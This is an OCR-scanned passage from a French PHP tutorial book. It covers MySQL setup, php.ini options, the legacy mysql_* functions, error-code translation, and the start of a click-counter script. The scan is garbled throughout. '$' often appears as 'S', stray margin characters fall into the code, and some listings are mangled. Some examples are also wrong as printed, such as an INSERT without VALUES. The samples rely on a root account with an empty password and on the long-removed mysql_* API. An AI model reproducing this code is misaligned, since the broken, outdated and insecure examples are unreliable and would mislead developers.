Sous Linux 

Une fois mysql lance, il suffit d'entrer la commande : 
$ mysql 

CREATE DATABASE maBase; 



ASTUCE 



Utiliser un autre utilisateur que I'utilisateur courant 

Pour lancer mysql avec un autre nom d'utilisateur que le nom courant, ilfaut passer 
V option -u. II est egalement possible de passer le mot de passe en ligne de commande 
parl'option -p. 



$ mysql -u root -p motdepasse 



Test du serveur de bases de donnees 

II est possible de faire executer quelques requetes SQL pour voir le fonctionnement du serveur. 
II suffit de lancer mysql et de taper, par exemple, (cela suppose que vous ayez cree la base de 
donnees maBase auparavant) : 

$ mysql 
USE maBase; 

CREATE Table maTable (id INTEGER, valeur VARCHAR(32) ) ; 
INSERT INTO maTable (1, "toto"); 
INSERT INTO maTable (2, "titi"); 
SELECT * FROM maTable; 



Voici une capture d'ecran sous Windows de cette serie de requetes : 
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Invite de commandes - mysql [ i \: 

C:\mysqlNbin >mysql p~ 
Uelcone to the MySQL monitor. Commands end with ; or Ng. 
Vour MySQL connection id is 6 to server version: 3.23.51-nt 

Type J help;' or '\h' for help. Type '\c' to clear the buffer. 

mysql> USE naBase ; 
Database changed 

mysql> CREATE TABLE maTable <id INTEGER, ualeur UflRCHflR<32>> ; 
Query OK, rows affected <@.06 sec) 

nysql> INSERT INTO maTable UftLUES <1, "toto">; 
Query OK, 1 row affected tB.BB sec) 

nysql> INSERT INTO maTable UftLUES <2, "titi">; 
Query OK, 1 row affected sec) 

mysql> SELECT * FROM maTable; 



Figure 10.17 : Quelques requites pour tester 



Configuration par defaut de MySQL 

Avec une installation par defaut de MySQL, vous aurez tous les droits utilisateurs si la 
base de donnees tourne localement, et que vous utilisez pour nom d'utilisateur "root" 
et pour mot de passe simplement une chaine vide. Mais n'hesitez surtout pas a 
modifier cette configuration de base pour obliger {'utilisation d'un mot de passe. Cette 
operation peut se realiser en executant la requite SQL suivante sur la base mysql : 

UPDATE user SET password=PASSWORD( '<mot de passe>') WHERE user=root 

Configuration de PHP avec support MySQL 

Les dernieres versions de PHP integraient par defaut le support de MySQL dans le noyau. Ce 
n'est plus vrai depuis PHP 5. Et bien qu'il n'y avait, a priori, rien a faire pour que cela 
fonctionne (hormis avoir un serveur MySQL a disposition) avec les versions 4.2 et 4.3, il etait 
deja conseille de recompiler PHP avec l'API de la version MySQL installee. Avec PHP 5 cela 
devient une necessite. Pour cela, il suffit d'ajouter l'option — with-mysqi= 

/usr/ local /mysql. 

Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Configuration php.ini 

Le fichier php.ini permet de definir les parametres suivants 

mysql .all ow_persi stent = On 

Autorise ou interdit les connexions persistantes. 

mysql .max_persi stent = -1 




REMARQUE 
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Nombre maximum de connexions persistantes. -1 autorise un nombre illimite. 
mysql .max_l i nks = -1 

Nombre maximum de connexions (persistantes ou non). -1 autorise un nombre illimite. 
mysql .defaul t_port = 

Indique le port a utiliser s'il n'est pas precise lors de l'appel a mysql_connect ( ) ou a 
mysql_pconnect ( ) . Si vous ne renseignez pas cette directive, mysql_connect utilisera le port 
indique par $mysql_tcp_port, sinon c'est le port associe au service mysql-tcp, indique dans 

I etc I services, qui sera utilise, ou, enfin, la valeur definie lors de la compilation par la constante 
mysql_port. Sous Windows, seul le port precise par mysql_port est pris en compte. 

mysql .default_socket = 

Indique le nom de la socket par defaut pour les connexions MySQL en local. Si vous ne 
renseignez pas cette directive, PHP utilisera la configuration MySQL par defaut. 

mysql .defaul t_host = 

Indique le nom (ou l'adresse) du serveur mysql a utiliser par defaut s'il n'est pas precise lors de 
l'appel a mysql_connect ( ) ou mysql_pconnect ( ) . Cette option n'est pas prise en compte en 
mode securise. 

mysql .defaul t_user = 

Indique le nom d'utilisateur a donner par defaut s'il n'est pas precise lors de l'appel a 
mysql_connect ( ) ou mysql_pconnect ( ) .Cette option n'est pas prise en compte en mode 
securise. 

mysql .defaul t_password = 

Indique le mot de passe a utiliser par defaut s'il n'est pas precise lors de l'appel a 
mysql_connect ( ) ou a mysql_pconnect ( ) . Cette option n'est pas prise en compte en mode 
securise. 

II est deconseille de stocker les mots de passe dans ce fichier. N'importe quel utilisateur ayant 
acces a votre PHP, ou ayant les droits de lecture, pourrait lancer la commande echo 
cfg_get_var ( "mysql . def ault_password" ) , et acceder ainsi a ce mot de passe. 

Verification 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?>. 
Vous devez apercevoir les lignes suivantes : 



MySQL 



mysql 


[ MySQL Support 


enabled 


Active Persistent Links 





Active Links 





Gient API version 


4.D.14 


MYSQL_MODULE_TYPE 


external 


MYSQL_SOCKET 


/trnp/rnysql.sock 


MVSQLJNCLUDE 


-l/usr/'local/mysql/include 


MYSQL LIBS 


-L/usr/local/rnysql/lib -Imysqlclient 




Directive 


Local Value 


Master Value 


mysql .allow jiersistent 


On 


On 


mysql .connect_timeout 


-1 


-1 


mysql .defaultjiost 






mysql .defaultjiassword 






mysql .default jjort 






mysql .default_socket 






mysql .defaul t_user 






mysql .max links 


Unlimited 


Unlimited 


mysql .maxjiersistent 


Unlimited 


Unlimited 


mysql .trace mode 


Off 


Off 



Figure 10.18 
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Utilisation 

Comme indique dans le chapitre d'introduction, 1'utilisation basique de la base de donnees 
s'opere selon le schema suivant : 

Connexion grace aux fonctions mysql_connect ( ) OU mysqljconnect ( ) et 
mysql_select_db ( ) . 

Soumission de la requete via la fonction mysql_query ( ) . 

Deconnexion grace a la fonction mysqi_ciose ( ) (dans le cas d'une connexion non 
persistante). 



Connexion 

La connexion a une base de donnees MySQL necessite deux operations. II faut, dans un 
premier temps, se connecter au serveur de bases de donnees avec la fonction 
mysql_connect ( ) ; la selection de la base s'opere dans un second temps avec 

mysql_select_db ( ) . 



mysql_connect() 

Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource mysql _connect( [string $nomServeur [:$port] 

[:$cheminSocket] [, string $uti 1 i sateur [, string $motDePasse 
[, boolean $nouvelleCnx [, int $option]]]]] ) 

$nomServeur Nom du serveur (par defaut "localhost"). 
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$port 

$chemi nSocket 

$uti 1 i sateur 

$motDePasse 
$nouvel 1 eCnx 

$opti on 



retour 



Port sur lequel la connexion au serveur de bases de donnees s'effectue (par 
defaut 3306). 

Chemin vers le fichier socket (lorsque le serveur de bases de donnees 
tourne en local). 

Nom d'utilisateur (sous Linux/UNIX ; par defaut, le proprietaire du 
serveur web, qui traditionnellement pour Apache est "nobody"). 

Mot de passe de l'utilisateur (par defaut, aucun mot de passe). 

Precise sil'onsouhaite (TRUE) ou non (FALSE, valeurpar defaut) forcer la 
creation d'une nouvelle connexion si une connexion similaire a deja ete 
ouverte. 

Precise une option de communication avec le serveur de base de donnees. 
Ce parametre est disponible depuis la version 4.3.0 de PHP. Elle peut 
prendre l'une des valeurs suivantes: 

MYSQL_CLlENT_COMPRESS, pour envoyer les donnees sous forme 
compressees. 

MY S Q L_C L I ENT_I GNO RE_SPACE, pour autoriser les espaces apres les 
noms de fonction (tous les noms de fonctions sont alors des mots reserves). 
MYSQL_CLIENT_INTERACTIVE, pour baser le time-out de deconnexion 
non pas sur la valeur de wait_timeout mais sur celle de 
interactive_timeout. 

MYSQL_CLIENT_SSL, (uniquement avec MySQL 4) pour utiliser le 
protocole SSL. 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

mysql_pconnect ( ) . 



mysql_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 

Syntaxe resource mysql_pconnect([string $nomServeur [:$port] 

[:$cheminSocket] [, string $utilisateur [, string $motDePasse 
[, int $option]]]) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$port Port sur lequel la connexion au serveur de bases de donnees s'effectue (par 

defaut 3306). 

$chemi nSocket Chemin vers le fichier socket (lorsque le serveur de bases de donnees 
tourne en local). 

$utili sateur Nom d'utilisateur (sous Linux/UNIX; par defaut, le proprietaire du 

serveur web, qui traditionnellement pour Apache est "nobody"). 

$motDePasse Mot de passe de l'utilisateur (par defaut, aucun mot de passe). 



$opti on Precise une option de communication avec le serveur de base de donnees. 

Ce parametre est disponible depuis la version 4.3.0 de PHP. Elle peut 
prendre l'une des valeurs suivantes: 

MYSQL_CLlENT_COMPRESS, pour envoyer les donnees sous forme 
compressees. 

MYSQL_CLIENT_IGN0RE_SPACE, pour autoriser les espaces apres les 
noms de fonction (tous les noms de fonctions sont alors des mots reserves). 
MYSQL_CLIENT_INTERACTIVE, pour baser le time-out de deconnexion 
non pas sur la valeur de wait_timeout mais sur celle de 

interactive_timeout. 

MYSQL_CLIENT_SSL, (uniquement avec MySQL 4) pour utiliser le 
protocole SSL. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



mysql_select_db 

Selectionne une base de donnees. 

Syntaxe boolean mysql_select_db(string $baseDonnees [, resource 

$idConnexion]) 

$baseDonnees Nom de la base de donnees. 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE en cas de succes, FALSE sinon (ex. : base de donnees inexistante). 

Execution de la requete SQL 

Pour executer une requete SQL, il suffit de faire appel a la fonction mysql_query ( ) . 



mysqLqueryO 

Execute une requete SQL. 

Syntaxe resource mysql_query(string $requete [, resource 

$idConnexion]) 

$requete Requete SQL. 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 
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Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 
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Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction mysqi_ciose ( ) . 



mysql_close 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean mysql_cl ose( [resource $i dConnexi on] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE si l'operation a ete effectuee avec succes, NULL (mais pas 

strictement FALSE) en cas d'echec. 



Premier exemple 



Verifiez les parametres 

Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait deja. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable, 

Listing 10.28 : parametres bd incphp 

<?php 

// Parametres de connexion a la base 
// de donnees 

$serveur = "1 ocal host" ; 

$port = un. ii (j -j t commencer par : 

$uti 1 i sateur = "root"; 
SmotDePasse = ""; 

$base = "maBase"; 



A 

ATTENTION 
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et qui est utilise par le script principal. 



Listing 10.29 : insertOLphp 

<?php 

// Parametres du script 

requi re_once ( " paramet res_bd_i nc . php " ) ; 

Stable = "tableexemple"; 

// Inclusion du script contenant les fonctions 
requi re_once("insert01_bd_inc. php") ; 

// Connexion a la base de donnees 

SidConnexion = mysql_pconnect($serveur, $uti 1 i sateur, SmotDePasse) 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") 

} 

if (!mysql_select_db($base)) { 

die("<b>Impossible de se connecter a la base de donnees</b>") 

} 

// Appel de la fonction principale 

if (EXj'nitial iseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 

"vous pouvez le verifier avec votre client de base ". 

" de donnees ou via les scripts suivants."; 

} else { 

echo "La creation ou 1 1 al imentation de la table a echouee."; 

} 

// Pas de deconnexion dans le cas d'une connexion persistante 
// mysql_close($idConnexion) ; 

?> 



Ce script utilise les fonctions definies dans le fichier : 

Listing 10.30 : insert01_bd_inc.php 

<?php 

I** 

* Fonction chargee de creer et d'alimenter une table 

* 

* @param SidConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** I 

function EX_i ni ti al i seBD($i dConnexion, Stable) 

{ 

// Supprime la precedente table 
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$requete = "DROP TABLE $table"; 
@mysql_query ($requete, $idConnexion) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld INTEGER ". 

" AUTO_INCREMENT PRIMARY KEY,", 
"film VARCHAR(64))"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

// Ajoute quelques donnees 

$requete = "INSERT INTO Stable (film) VALUES ('Forrest Gump')"; 

if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (film) VALUES ('Matrix')"; 

if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (film) VALUES ('La cite de la peur')"; 

if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

return TRUE; 

} 

?> 



Valeur du champ auto-incremente 

Parfois, apres avoir insere des donnees dans une table contenant un champ auto-incremente, 
vous aurez besoin de connaitre la valeur qui a ete donnee a ce champ. Pour cela, vous devrez 

appeler la fonction mysql_insert_id ( ) . 



mysql_insert_id() 

Retourne la valeur affectee au champ auto-incremente lors de la derniere requete insert. 

Syntaxe int mysql_insert_id([resource $i dConnexi on] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour La valeur du champ. 



Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees, il convient de recuperer l'identifiant 
de requete et de l'utiliser pour lire, en boucle, ligne apres ligne, chaque enregistrement. II existe 
diverses fonctions, chacune permettant de recuperer les champs des enregistrements sous 
differentes formes. 
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Les informations peuvent ainsi etre retournees : 

■ Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, d'un tableau 
associatif ou encore d'un tableau a la fois indexe et associatif). 

Lecture champ par champ 

Bien que cela presente peu d'interet, sachez qu'il existe une fonction appelee 
mysql_result ( ) permettant d'acceder au resultat champ par champ. 



v> 

CD 
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Lecture enregistrement par enregistrement 

CD g 

La forme la plus simple est celle retournee par la fonction mysqi_f etch_row ( ) . *" u> 



mysql_fetch_row() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array mysql_fetch_row (resource $idResul tat) 

SidResultat Identifiant de requete tel que retourne par mysql_query ( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete ; FALSE s'il n'y a plus d'enregistrement a lire, ou rien en cas 
d'identifiant de requete non valide. 

Listing 10.31 : select eei bd inc.php 

<?php 

I** 

* Fonction Instant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mysql_query (Srequete, SidConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while (Senreg = mysql_fetch_row($idResultat)) { 
echo "FilmId=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 
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} 

return TRUE; 

} 

?> 

Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
indexe et associatif avec, pour cles, les noms des champs. 



mysql_fetch_array() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array mysql_fetch_array (resource $idResultat [, int$mode]) 

$idResu1 tat Identifiant de requete tel que retourne par mysql_query ( ) . 

$mode Au choix l'une des constantes suivantes : 

MYSQL_ASSOC, pour retourner un tableau associatif, ou les cles sont les 
noms des champs (faites attention a la casse). 
MYSQL_NUM, pour retourner un tableau indexe. 

MYSQL_BOTH (par defaut), pour retourner un tableau a la fois indexe et 
associatif, ou les cles (en minuscules) sont les noms des champs. 

retour Tableau indexe et/ou associatif selon le mode choisi ; FALSE s'il n'y a plus 

d'enregistrement ou rien en cas d'erreur (si l'identifiant de requete n'est 
pas valide). 



C'est ce mode de lecture des donnees que nous privilegierons ; il est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ SUM(nomchamp) . 
Notez toutefois qu'il est possible d'affecter un nom (ex. : somme) a ce genre de champ en 

indiquant SUM ( nomchamp ) AS somme. 

L'exemple precedent gagnera ainsi en lisibilite et deviendra : 



Listing 10.32 : select_eea_bd_inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_listeContenu($idConnexion, Stable) 
{ 
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II Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mysql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while ($enreg = mysql_fetch_array ($i dResul tat) ) { 

echo "Filmld=".$enreg["filmld"] ." ". o- 
"Film =" .$enreg["film"] ."<br />"; S> 
} ™ 
return TRUE; ro 



a. as 
o 2: 
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r mysql J'etch_assoc( ) 

Utiliser la fonction mysql_fetch_array ( ) avec ['option MYSQL^iSSOC revient 
REHARQJE a a pp e i er une fonction appelee mysql_fetch_assoc (). 



Pour votre culture personnelle, sachez qu'il existe egalement une fonction (d'un interet 
discutable) qui permet de retourner l'enregistrement sous forme d'un objet possedant des 
variables internes portant les memes noms (en minuscules) que les champs. Cette fonction 
s'appelle mysql_f etch_obj ect ( ) et possede la meme syntaxe que mysql_f etch_row ( ) , si ce 
n'est qu'elle retourne un objet et non un tableau. 

La boucle de lecture se transforme alors en : 
<?php 

while ($enreg = mysql_fetch_object($idResultat)) { 

echo "Filmld = " .$enreg->f i lmid. " Film = ".$enreg->film."<br />"; 

} 

?> 



Liberation des ressources 

Si, au cours d'un script, vous faites appel a de nombreuses requetes retournant de nombreux 
enregistrements, alors, n'hesitez pas, une fois le resultat de la requete exploite, a liberer les 
ressources associees avec la fonction mysql_f ree_result ( ) . 



mysql_free_result () 



Libere les ressources allouees pour un resultat de requete. 

Syntaxe boolean mysql_free_resul t (resource $idResultat) 

$i dResul tat Identifiant de requete tel que retourne par mysql_query ( 

retour TRUE en cas de succes, FALSE sinon. 
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Nombre d'enregistrements 
Nombre d'enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.33 : count bdjnc.php 

<?php 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** i 

function EX_compte($idConnexion, Stable) 
{ 

// Requete 

Srequete = "SELECT C0UNT(*) FROM Stable"; 
SidResultat = mysql_query (Srequete, SidConnexion) ; 

// Lecture du resultat 

if (Senreg = mysql_fetch_row($idResultat)) { 

echo "II y a " .$enreg[0] . " enregistrements dans la table. <br />"; 

return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 
return FALSE; 

} 

} 

?> 



Si vous souhaitez connaitre le nombre d'enregistrements, et que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de compter combien d'enregistrements sont lus. 

Listing 10.34 : count select dbjnc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param SidConnexion resource Identifiant de connexion BD 
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* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mysql_query (Srequete, SidConnexion) ; 

if (!$idResultat) return FALSE; cr 

03 

v> 

CD 

// Boucle de lecture (et de comptage) des enregi strements <» 
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$nb = 0; 

while ($row = mysql_fetch_row($idResultat)) { 

// Vous pouvez manipuler $enreg a votre guise 
//echo "FilmId=".$enreg[0] ." ". 

// "Film =" .$enreg[l] ."<br />"; " » 

$nb++; 

} 

echo "II y a $nb enregi strements dans la table. <br />"; 
return TRUE; 



Et, pour finir, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la fonction mysqi_num_rows ( ) . 



mysql_num_rows () 

Retourne le nombre d'enregistrements retournes par la requete SQL. 

Syntaxe int mysql_num_rows (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par mysql_query ( ) . 

retour Nombre d'enregistrements, ou rien en cas d'identifiant de requete non 

validc. 

Listing 10.35 : count num rows bd incphp 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param SidConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

function EX_listeContenu($idConnexion, $table) 

{ 
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// Requete 

$requete = "SELECT * FROM $table"; 

$idResultat = mysql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

echo "II y a " .mysql_num_rows ($i dResul tat) . " enregi strements ". 
"dans la table<br />"; 

return TRUE; 

} 

?> 

Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d' enregistrements modifies 

Pour connaitre le nombre de lignes affectees par la requete precedente (comme le nombre de 
resultats apres un select, le nombre de lignes effacees apres un delete ou le nombre de lignes 
modifiees apres un update), nous pouvons utiliser la fonction mysql_af f ectedjows ( ) . 



mysql_affected_rows () 

Permet de retrouver le nombre de lignes affectees par la requete immediatement precedente. 
Syntaxe int mysql_affected_rows ( [resource $i dConnexi on] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

Bien que plus difficilement exploitable, sachez que depuis PHP 4.3, vous diposez egalement de 

la fonction mysql_inf o ( ) . 



mysql_info() 

Retourne une chaine de caracteres precisant le nombre d'enregistrements ajoutes, modifies, 
etc. durant la derniere requete. Toutefois, ceci ne concerne qu'un nombre reduit de type de 
requetes (INSERT avec des valeurs issues d'un SELECT, INSERT de plusieurs lignes, LOAD 
DATA INFILE, ALTER TABLE et UPDATE) en fait il s'agit de celles susceptible de modifier 
plusieurs enregistrements a la fois. 

Syntaxe: string mysql_info([ressource $idConnexion]) 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 



retour Chaine de caracteres semblable a "Records: 2 Duplicates: Warnings: 0" 

ou FALSE si la requete ne retourne pas d'info. 

Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est notamment possible en recuperant un code d'erreur via la fonction mysql_errno ( ) . 

mysql_errno() 

Retourne le code d'erreur du dernier appel MySQL. 

Syntaxe int mysql_errno( [resource $idConnexion] ) 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Code d'erreur, ou tout simplement si la derniere operation s'est passee 

sans erreur. 



mysql_error() 

Retourne le message d'erreur associe au dernier appel MySQL. Ce message depend du serveur, 
mais aura toutes les chances d'etre en anglais. 

Syntaxe string mysql_error( [resource $i dConnexi on] ) 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Message d'erreur, ou tout simplement une chaine vide "" si la derniere 

operation s'est passee sans erreur. 



Tableau 10.14 : 


Exemples de codes et messages d'erreur 




Code 


Message 


Description 







Pas d'erreur 


1049 


Unknown database 'nombase' 


La base 'nombase' n'existe pas 


1051 


Unknown table 'nomtable' 


La table 'nomtable' n'existe pas 


1054 


Unknown column 'nomchamp' in 'field 
list' 


Le champ ' nomchamp ' precise 
dans la liste de champs n'existe pas 
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Code 


Message 


Description 


1054 (etoui ! le 


Unknown column 'nomchamp' in 


Le champ ' nomchamp ' precise 


meme code que 


'where clause' 


dans la clause WHERE n'existe pas 


precedemment) 






2005 


Unknown MYSQL Server Host 


Le Serveur MySQL ' nomserveur ' 




'nomserveur' (2) 


n'existe pas 



Vous pourrez, par exemple, vous servir des codes d'erreur pour afficher vos propres messages 
d'erreur. Dans l'exemple suivant, nous montrons comment traduire les messages d'erreur (cela 
ne s'appliquera qu'a l'echantillon de codes qui vient d'etre presente). 



Listing 10.36 : mysql_err_inc.php 

<?php 

// Retourne une version Frangaise du message d'erreur 
// en se basant sur le code d'erreur et sur les informations 
// compl ementai res que 1 1 on peut trouver dans le message 
// Anglais 

function mysql_error_fr() 

{ 

// Les noms de tables et autres informations 
// sont entre apostrophes dans le message d'erreur 
// il est done utile de le decomposer 
$morceaux = explode( , mysql_error()) ; 

switch (mysql_errno()) { 
case : // message vide 
return ""; 

case 1049 : // Unknown database 'nombase' 

return "La base "' .$morceaux[l] . " ' n'existe pas"; 

case 1051 : // Unknown table 'nomtable' 

return "La table ' " .$morceaux[l] . " ' n'existe pas"; 

case 1054 : // Unknown column 'nomchamp' in 'field list' 
// Unknown column 'nomchamp' in 'where clause' 
switch ($morceaux[3] ) { 
case 'field list' : 

return "Le champ ' " .$morceaux[l] . " ' precise". 

" dans la liste des champs n'existe pas"; 
case 'where clause' : 

return "Le champ ' " .$morceaux[l] . " ' precise". 
" dans la clause WHERE n'existe pas"; 

default : 

return mysql_error() ; 

} 

case 2005 : // Unknown MYSQL Server Host 'nomserveur' (2) 

return "Le serveur MySQL "' .$morceaux[l] . " ' n'existe pas"; 
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default : 

return mysql_error() ; 



>> 



Et voici un script generant l'ensemble des erreurs ci-dessus, afin de bien mettre en evidence le 

bon fonctionnement de cette fonction personnalisee : gr p 

CD ~ 

en c= 

Listing 10.37 : mysql errOLphp a. ~ 

£2. Q5 

<?php § = 

CD* ^ 

include_once("parametres_bd_inc.php") ; ™ cd 

i ncl ude_once ( "mysql _err_i nc . php" ) ; 

Stable = "tableerr"; 



@mysql_pconnect("erreur") ; 
echo mysql_error_fr() . "<br />"; 



mysql_pconnect($serveur. $port, $uti 1 isateur, $motDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees.</b>") ; 



@mysql_select_db("erreur") ; 
echo mysql_error_fr() . "<br />"; 

mysql_select_db($base) or 

die("<b>Grrr. . . J'aurais aime qu'elle existe cette base.</b>"); 



@mysql_query ("DROP TABLE erreur"); 
echo mysql_error_fr() . "<br />"; 

mysql_query("CREATE TABLE IF NOT EXISTS Stable (id INT2)") or 
die("<b>Grrr. . . J'aurais aime que cette requete ne tombe". 
" pas en erreur. </b>") ; 

@mysql_query("SELECT erreur FROM Stable"); 
echo mysql_error_fr() . "<br />"; 

@mysql_query("SELECT * FROM Stable WHERE erreur=l"); 
echo mysql_error_fr() . "<br />"; 



Ce script genere alors une page contenant les messages : 

Le serveur MySQL 'erreur' n' existe pas 
La base 'erreur' n' existe pas 
La table 'erreur' n' existe pas 

Le champ 'erreur' precise dans la liste des champs n' existe pas 
Le champ 'erreur' precise dans la clause WHERE n' existe pas 
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Compteur de clics 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien 
vers un script charge d'incrementer le compteur correspondant au site indique, et de rediriger 
le client vers le site grace a la fonction header ( ) . 




Vous pouvez vous reporter a Vannexe "Les en-tetes" pour plus de renseigriements sur 
la redirection. 



RENVOI 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 

■ nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic jredirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic_redirection.php?urlid=3 

(pour acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site 

http://WWW.SqlfaCile.COm cela Signifie que le lien <a href ="http: //www. sqlfacile. com "> 
devra etre remplace par <a href ="compteurclic_redirection.php?urlid=3> si Ton sou- 

haite en compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initiaiiseBD ( ) 
du script suivant : 

Listing 10.38 : compteurclic_bd_inc.php (debut) 

<?php 

//— 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 
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I** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 

* 

* @return resource Identifiant de connexion 

7 

function CC connexionQ a- q 

global $serveur, $base, $uti 1 i sateur, $motDePasse; «» = 

a. — 
m 

$idConnexion = mysql_pconnect($serveur, $uti 1 i sateur, $motDePasse) ; o — 

= o' 

3 = 
CD* _ 
CD =■ 



